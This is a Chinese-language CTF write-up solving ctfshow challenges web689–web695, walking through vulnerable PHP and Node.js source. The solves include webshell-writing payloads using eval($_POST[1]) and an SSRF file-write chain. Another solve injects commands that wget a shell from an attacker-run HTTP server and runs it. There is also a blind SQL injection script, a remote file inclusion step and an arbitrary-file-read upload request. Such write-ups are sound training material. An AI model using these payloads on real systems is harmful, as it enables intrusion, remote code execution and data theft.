Bootstrap

ctfshow 大赛原题 web689--web695

web689

<?php 
error_reporting(0);
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
    
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,'..') > -1){     //检查 $path 是否包含 ..,以防止路径注入攻击。
    die('This is a waf!');
}


if(strpos($url,'http://127.0.0.1/') === 0){  //检查 $url 是否以 'http://127.0.0.1/' 开头。
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.CTFshow";
}

在这里插入图片描述
这里可以写入文件

?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=b.php
这里可以看成两部分
?file=http://127.0.0.1/   到达本地
?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=b.php将phpinfo写入b.php

这里的%26&但是如果直接写的话不能正确的绕过,必须写url形式

?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?=eval($_POST[1]);?>&path=b.php

写马方便

web690

<?php 
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
    if ( !preg_match('/^\w+$/', $args[$i]) )
        exit("sorry");
}

exec('./ ' . implode(" ", $args));  假设数组结构是args[0]=ping,args[1]=ip,
那么可以执行ping ip的命令

用python3起一个web服务,nginx和Apache不行
记得关了其他服务再开
index.html第一次写成get了,浪费了一些时间

<?php
file_put_contents("shell.php",'<?=eval($_POST[1]);?>');
?>
python3 -m http.server 80

args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=十进制IP绕过

args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a

args[]=1%0a&args[]=php&args[]=shell

在这里插入图片描述
开了好几次靶机终于成功了
流程是这样子

./ 1      主要是为了把./给处理了
mkdir a           创建目录a
cd a
wget xxxxx           下载文件

tar cvf shell a   打包a为shell

php shell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
本地尝试成功也就是说shell此时在网页里面而环境中会自然执行文件,shell.php就被写入

web691

<?php
 
include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function   filter($str){
      $filterlist = "/\(|\)|username|password|where|
      case|when|like|regexp|into|limit|=|for|;/";
      if(preg_match($filterlist,strtolower($str))){
        die("illegal input!");
      }
      return $str;
  }
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where  username =
 '$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
  $row = $res -> fetch_assoc();
  if($row['id']){
     echo $row['username'];
  }
}else{
   echo "The content in the password column is the flag!";
}

?>

sql注入
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
order by盲注

import requests
url="http://6dfbcb64-39aa-4917-828d-b92dd480c6e2.challenge.ctf.show/"
flag=""
string=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"


for i in range(1,50):
    # print(i)
    for j in string:
        data={
            'username':"'or 1 union select 1,2,'{0}' order by 3#".format(flag+j),
            'password':'1'
        }
        r=requests.post(url=url,data=data)
        if '</code>admin' in r.text:
            flag+=chr(ord(j)-1)
            print("\r"+flag,end="")
            break

字符串集得设置好不然就不行,还有这个响应必须放上</code>不然也是不行的

web692

<?php

highlight_file(__FILE__);

if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

写马
这里涉及替换函数的特性
在这里插入图片描述
在这里插入图片描述
preg_replace中的第二个参数如果是%00也就是ascii中的0,那么将会匹配到整个字符串。
由于是匹配的任意字符所以我们写什么都行

$option=';phpinfo();//'
返回值
$option='$option=';phpinfo();//''
再来个%00那么就会再上一层
$option='$option=';phpinfo();//''
誒,这样子不就跑出来了嘛
?option=;phpinfo();//
?option=%00

在这里插入图片描述

?option=;eval($_POST[1]);//
?option=%00

在这里插入图片描述

web693

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

这里有个回调函数和文件包含,那么直接覆盖就行了

?function=extract&file=php://filter/read=convert.base64-encode/resource=flag.php

失败了这里
在这里插入图片描述

?function=extract&file=http://baidu.com

那么远程包含一个马即可

web694

<?php

error_reporting(0);

$action=$_GET['action'];
$file = substr($_GET['file'],0,3);
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));
//$_SERVER['HTTP_X_FORWARDED_FOR'] 中提取第一个 IP 地址,并将其赋值给 $ip。
$content = $_POST['content'];


$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;
__DIR__为当前目录
/var/www/html/a.php/.

if($action=='ctfshow'){
    file_put_contents($path,$content);
}else{
    highlight_file(__FILE__);
}


?>

在这里插入图片描述

在这里插入图片描述

web695

router.post('/uploadfile', async (ctx, next) => {
  const file = ctx.request.body.files.file;
	参数为{"files":{"file":{xxx}}}
  if (!fs.existsSync(file.path)) {
    return ctx.body = "Error";
  }

  if(file.path.toString().search("/dev/fd") != -1){
    file.path="/dev/null"
  }

  const reader = fs.createReadStream(file.path);
  let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
  let filePath = path.join(__dirname, 'upload/') + fileId
  const upStream = fs.createWriteStream(filePath);
  reader.pipe(upStream)
  return ctx.body = "Upload success ~, your fileId is here:" + fileId;
  
});

router.get('/downloadfile/:fileId', async (ctx, next) => {
  let fileId = ctx.params.fileId;
  ctx.attachment(fileId);
  try {
    await send(ctx, fileId, { root: __dirname + '/upload' });
  }catch(e){
    return ctx.body = "no_such_file_~"
  }
});
{"files":{"file":{"name":"baozongwi","path":"flag"}}}

然后访问downloadfile/32位的md5id下载即可
但是我的情况是500了
后面终于知道了情况是个什么情况,因为我并没有修改content-type

那么给大家看看数据包吧

Request:

POST /uploadfile HTTP/1.1
Host: 4de9c3b3-2e68-4a62-b232-4406eeb78745.challenge.ctf.show
Cache-Control: max-age=0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://4de9c3b3-2e68-4a62-b232-4406eeb78745.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/json
Content-Length: 53

{"files":{"file":{"name":"baozongwi","path":"flag"}}}

Response:

HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Wed, 31 Jul 2024 23:22:41 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 72
Connection: close
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000

Upload success ~, your fileId is here:30cfc14059342fff1c63fad46f3579bf

在这里插入图片描述
下载一下即可

;